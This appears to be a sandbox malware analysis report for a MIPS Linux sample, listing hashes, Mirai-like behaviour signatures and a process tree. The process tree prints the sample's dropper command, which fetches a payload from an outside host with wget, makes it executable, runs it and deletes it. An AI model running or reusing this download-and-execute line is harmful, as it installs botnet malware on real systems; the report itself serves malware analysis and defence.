Overview

overview

10

Static

static

10

b4db85c88b...9b0195

debian-9-mips

7

Analysis

  • max time kernel
    145s
  • max time network
    141s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240226-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05-03-2024 13:53

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    b4db85c88bea67709ac3b44fe59b0195

  • Size

    155KB

  • MD5

    b4db85c88bea67709ac3b44fe59b0195

  • SHA1

    c569639e070f071c3d4f9133eb08b62ed85b9aa2

  • SHA256

    865052a47af1e93ef0ee7c530894e21da8cc58578cfe7ab6a7500b40d18ba2e9

  • SHA512

    bd43f6d9f84e9888a8e5cd9ee3d398918a0686ca5bf30891b9a102483f7d88dd85a3741ecb6d1d4703127b624c7a164ac4d4d64fb8e1285dbcae976973f30051

  • SSDEEP

    3072:B7esBFP23rWfOB7ZOOyGyWKmrThPaLEne7rNb:1euCloGyrmrThPaLEne7rNb

Score
7/10

Malware Config

Signatures

  • Changes its process name 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b4db85c88bea67709ac3b44fe59b0195
    /tmp/b4db85c88bea67709ac3b44fe59b0195
    1⤵
    • Changes its process name
    • Reads system routing table
    • Reads system network configuration
    PID:691
    • /bin/sh
      /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."
      2⤵
        PID:692
        • /usr/bin/wget
          wget -q http://gay.energy/.../vivid -O .....
          3⤵
          • Writes file to tmp directory
          PID:696
        • /bin/chmod
          chmod 777 .....
          3⤵
            PID:707
          • /tmp/.....
            ./.....
            3⤵
            • Executes dropped EXE
            PID:709
          • /bin/sh
            /bin/sh ./.....
            3⤵
              PID:709
            • /bin/rm
              rm -rf .....
              3⤵
                PID:713

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads